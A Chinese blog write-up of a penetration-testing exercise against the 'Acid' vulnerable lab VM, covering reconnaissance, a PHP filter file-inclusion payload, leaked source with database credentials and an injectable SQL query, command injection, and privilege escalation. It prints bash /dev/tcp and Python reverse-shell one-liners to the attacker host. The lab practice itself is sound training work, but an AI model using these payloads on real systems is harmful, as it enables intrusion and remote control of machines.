Acid渗透靶机实战

攻击机:kali 192.168.41.147

靶机: acid 192.168.41.149

信息收集

  • ip发现

开启Acid靶机,通过nmap进行局域网存火主机扫描.
![](https://img2018.cnblogs.com/blog/1357258/201907/1357258-20190725111009774-877137553.png)

  • 端口扫描

通过nmap进行端口扫描,因为nmap默认是扫描1000个端口,发现没有开放服务。于是我设置了端口为全端口1-65535


目标主机在33447开了http服务,web服务器是Apache/2.4.10 系统是 Ubuntu ,没有发现cms指纹

开始渗透实战

首先利用dirsearch扫描下网站目录,同时进入网站 http://192.168.41.149:33447/ 看看有没有可以值得利用的地方

查看网页源代码,发现一串16进制的数,转化成字符=> d293LmpwZw==, base64在转化=> wow.jpg


有/images/目录,进入网站的images目录发现403,呢么加个/wow.jpg看看

保存图片到本地,查看有没有隐藏什么信息,直接用winhex打开。发现有一些特别的数字,看着像16进制。txt是个好东西,直接拖进txt里,然后替换:为空

转为字符串解出来是一串7aee0f6d588ed9905ee37f16a7c610d4,看着像md5,拿着去解一下

disbuster fuzz

到这就没思路了,接下来该怎么搞,看WP是用dirbuster爆破出来的challenge目录,我的dirrsearch不行啊,煞笔了,网站标题就是/Challenge
百度了下dirbuster的fuzz 目录的用法,fuzz下/Challenge目录下的php文件

找到了**cake.php,include.php,error.php,index.php,hacked.php**

我们先进入Chanllenge目录主页看下,有种似曾相识的感觉,在领航杯的第一次AWD那年,碰到的主页一样

在main.css中找到这几句话
>>>Conclusion:
Through Login/Logout form it becomes easy to deal with sessions in PHP. Hope you like it, keep reading our other blogs.
Comments and Responses
Your email address will not be published. Required fields are marked *
那就让我们去寻找下别的点

cake.php

查看源码中,出现了/Magic_Box的字样,估计是个目录

hacked.php

并没有发现什么东西

error.php

同样,什么东西都没有发现

include.php

看文件名,就知道可能跟文件包含有关系。果然,直接给了个文件包含的页面


当输入index.php时,发现页面会重叠index.php的画面,看来是直接包含了,而不是进入包含的页面,并且url参数有可以利用的点,让我们来用php伪协议来看看源码
payload: http://192.168.41.149:33447/Challenge/include.php?file=php://filter/read=convert.base64-encode/resource=index.php&add=Extract+File
页面一闪而过,可以bp抓包查看,确实以base64编码格式读取了index.php的源码

index.php
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';
sec_session_start();
$_SESSION['index_page']=time(); if (login_check($mysqli) == true) {
$logged = 'in';
} else {
$logged = 'out';
}
?>
<!DOCTYPE gkg.qvpn html>
<html>
<head>
<title>Secure Login: Log In</title>
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="styles/main.css" />
<script type="text/JavaScript" src="js/sha512.js"></script>
<script type="text/JavaScript" src="js/forms.js"></script> </head>
<body>
<div class="wrapper">
<div class="container">
<h1>Welcome to Hell</h1>
<?php
if (isset($_GET['error'])) {
echo '<p class="error">Error Logging In!</p>';
}
?>
<form action="includes/process_login.php" method="post" name="login_form">
Email: <input type="text" placeholder="Email Address" name="email" maxlength="20" />
Password: <input type="password" placeholder="Password" name="password" id="password"/>
<input type="submit" value="Login" onclick="formhash(this.form, this.form.password);" />
</form>
</div>
<p>You are currently logged <?php echo $logged ?>.</p>
<ul class="bg-bubbles">
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
</ul>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script> <script src="js/index.js"></script> </body>
</html>

再看下别的页面

hacked.php
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php'; sec_session_start(); if (!isset($_SESSION['protected_page'])){
header('Location: protected_page.php');
exit;
}
if (!isset($_SESSION['index_page'])){
header('Location: protected_page.php');
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="styles/main.css" />
<title>Try to Extract Juicy details</title>
</head>
<body>
<div class="wrapper">
<div class="container">
<?php
if(isset($_REQUEST['add']))
{
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = 'mehak';
$conn = mysql_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
die('Could not connect: ' . mysql_error());
} $id = $_POST['id'];
$sql = "SELECT * FROM members WHERE ID = (('$id'))";
mysql_select_db('secure_login');
$retval = mysql_query( $sql, $conn );
if(! $retval )
{
die('Could not enter data: ' . mysql_error());
}
echo "You have entered ID successfully...Which is not a big deal :D\n";
mysql_close($conn);
}
?>
<p> <h1>You are going Good...Show me your Ninja Skills.</h1> <br>
<form method="get" action="<?php $_PHP_SELF ?>">
Enter your ID:<input name="id" placeholder="id" type="text" id="id" maxlength="20">
<input name="add" type="submit" id="add" value="Add ID"> </body>
</html>
cake.php
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';
?> <!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="styles/main.css" />
<title>/Magic_Box</title>
</head>
<body>
<div class="wrapper">
<div class="container">
<p><h1><font color='Red'>Ah.haan....There is long way to go..dude :-)</h1></font><br><font color='Green'>Please <a href="index.php">login</a></f$
</body>
</html>
<?php /* Come on....catch this file "tails.php" */
?>

看到hacked.php中,当两个session都有时候才会继续下面的内容,只有当你进入,index.php和protected_page之后,访问hacked.php,才会出现如下页面

好像没啥用啊?把之前找的md5密码拿出来填进去,以为会发现什么有趣的事,结果跟没啥用的页面。

然后发现cake.php最后一行中,有提示tails.php,尝试进入,发现not found,include试试看,也是个302跳转到protected_page(被耍了吗,我去)

然后还是回到原来,发现的Magic_box目录,用dirbuster来fuzz下目录文件

Command injection

发现了一个command.php页面,估计是直接命令执行的页面,我们可以直接反弹个shell,然后找一下真正的flag(我发现了,普通的字典是跑不出来的,OWASP里的字典才行)

命令执行成功,这里可以用; 或者&和|,都可以执行,但是记得urlendoce下,因为是特殊符号,需要url编码,不然可能不会执行

尝试反弹shell,kali,nc监听9090端口,nc -lvvp 9090

>>payload:bash -i >& /dev/tcp/192.168.41.147/9090 0>&1     失败

>>payload:python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.41.147',9090));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"    成功反弹shell

提权

然后看一下/etc/passwd,查找一些有用的信息.

发现有两个用户能登陆并且能操作终端

emmmmm,然后不会了,看了WP,不会提权啊,自己尝试百度找找su提权的东西

知识点如下

  • sudo : 暂时切换到超级用户模式以执行超级用户权限,提示输入密码时该密码为当前用户的密码,而不是超级账户的密码。不过有时间限制,Ubuntu默认为一次时长15分钟。
  • su:      切换到某某用户模式,提示输入密码时该密码为切换后账户的密码,用法为“su 账户名称”。如果后面不加账户时系统默认为root账户,密码也为超级账户的密码。没有时间限制
  • sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。想退回普通账户时可以执行“exit”或“logout” 。
  • sudo -i 直接运行sudo命令加-i参数
    sudo su 运行sudo命令给su命令提权,运行su命令。
    sudo -i 运行结果 PWD=/root
    sudo su 运行结果 PWD=/home/用户名(当前用户主目录)

也就是我们需要su到一个普通用户,只要知道用户密码,可以通过sudo-i,直接提权至root用户。

但是,su命令前提需要一个终端,需要的是一个终端设备输入密码,但是我们反弹shell的真是一个标准输入样子的。

我们可以用python命令生成一个虚拟的终端( Python -c 'import pty;pty.spawn("/bin/sh")' )

OK,su命令可以用了,接下来就是提权到acid后者saman,再sudo -i 提权到root用户

但是su 到任意用户,我们都需要这个用户的密码,我们才能登陆

shadow是真正保存密码的地方,但是我们啥权限都没有---,很悲催,所有者为root,且shadow组下的用户才有查看的权限

到这里好像就走不下去了,偷瞄一眼WP。

接下来我们可以查看下相关用户的文件,利用find / -user 命令

命令:find / -user acid  2>/dev/null                    解释下: 2>/dev/null   2再ilnux中的意思是标准错误,/dev/null指空设备,即将标准错误重定向到空设备=>不会报错,显错

不加的话,就会提示错误信息,没有权限等等,这样反而给我们阅读造成困扰,本来就没权限的,还需要你再告诉一遍嘛(下面还一堆错误信息

Acid靶机渗透的更多相关文章

  1. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  2. 21. CTF综合靶机渗透(十四)

    靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...

  3. 18. CTF综合靶机渗透(十一)

    靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...

  4. 17. CTF综合靶机渗透(十)

    靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...

  5. hacknos-player靶机渗透

    靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/ 网络配置 该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取 ...

  6. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  7. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  8. DeRPnStiNK靶机渗透

    DeRPnStiNK靶机渗透 常规的信息搜集 扫到了phpmyadmin以及wordpress并在后台发现弱密码,即admin,admin 这里对wordpress进行了扫描: 扫描插件: searc ...

  9. BTRsys1~2系列靶机渗透

    BTRsys系列靶机渗透 BTRsys1 端口发现加目录扫描. 发现目录:http://192.168.114.161/login.php 尝试弱密码失败,查看源代码. <script type ...

随机推荐

  1. promise的优势

    通过不同的方式读取在 files 文件夹下的三个文件来引出 promise 在处理异步时与回调函数相比的优势,files 文件夹有三个文件 a.json,b.json,c.json. // a.jso ...

  2. mysql5.6配置文件详解(一)

    mysqld  Ver 5.6.11 for Linux on x86_64 (Source distribution)Copyright (c) 2000, 2013, Oracle and/or ...

  3. Visdom 介绍 | 一

    用于创建,组织和共享实时丰富数据可视化的灵活工具.支持Python. 概述 概念 设置 用法 API 待办事项 贡献 概述 Visdom旨在促进(远程)数据的可视化,重点是支持科学实验. 为你自己和你 ...

  4. SpringBoot系列之缓存使用教程

    介绍SpringBoot项目中使用缓存,之前先介绍一下Spring的缓存抽象和JSR107,本博客是我在学习尚硅谷视频和参考其它博客之后做的笔记,仅供学习参考 @ 目录 一.Spring的缓存抽象 1 ...

  5. 展示html/javascript/css------Live-Server

    Live-server简介 这是一款带有热加载功能的小型开发服务器.用它来展示你的HTML / JavaScript / CSS,但不能用于部署最终的网站. 官网地址:https://www.npmj ...

  6. 牛客寒假基础集训营 | Day1 J题—u's的影响力(水题)

    Day1 J题-u's的影响力 有一天,kotori发现了一个和lovelive相似的游戏:bangdream.令她惊讶的是,这个游戏和lovelive居然是同一个公司出的! kotori经过一段时间 ...

  7. JVM基础结构与字节码执行引擎

    JVM基础结构 JVM内部结构如下:栈.堆. 栈 JVM中的栈主要是指线程里面的栈,里面有方法栈.native方法栈.PC寄存器等等:每个方法栈是由栈帧组成的:每个栈帧是由局部变量表.操作数栈等组成. ...

  8. 《Three.js 入门指南》3.1.2 - 一份整齐的代码结构以及使用ORBIT CONTROLS插件(轨道控制)实现模型控制

    3.1.2 正式代码结构 & ORBIT CONTROLS插件(轨道控制) 说明 本节内容属于插入节,<Three.js入门指南>这本书中,只是简单的介绍了一些概念,是一本基础的入 ...

  9. Linux系统:Centos7下搭建PostgreSQL关系型数据库

    本文源码:GitHub·点这里 || GitEE·点这里 一.PostgreSQL简介 1.数据库简介 PostgreSQL是一个功能强大的开源数据库系统,具有可靠性.稳定性.数据一致性等特点,且可以 ...

  10. 用人话告诉小白:什么是项目管理(例如Maven),什么是调试工具(即debugger),什么是编译(即compile)

    项目管理 以java程序的项目管理软件Maven为例,java程序根据代码的不同需要不同的jar文件才能编译运行. 人物:两个程序员A和B 物品:一个java程序G,许多jar文件 场景:当A在自己电 ...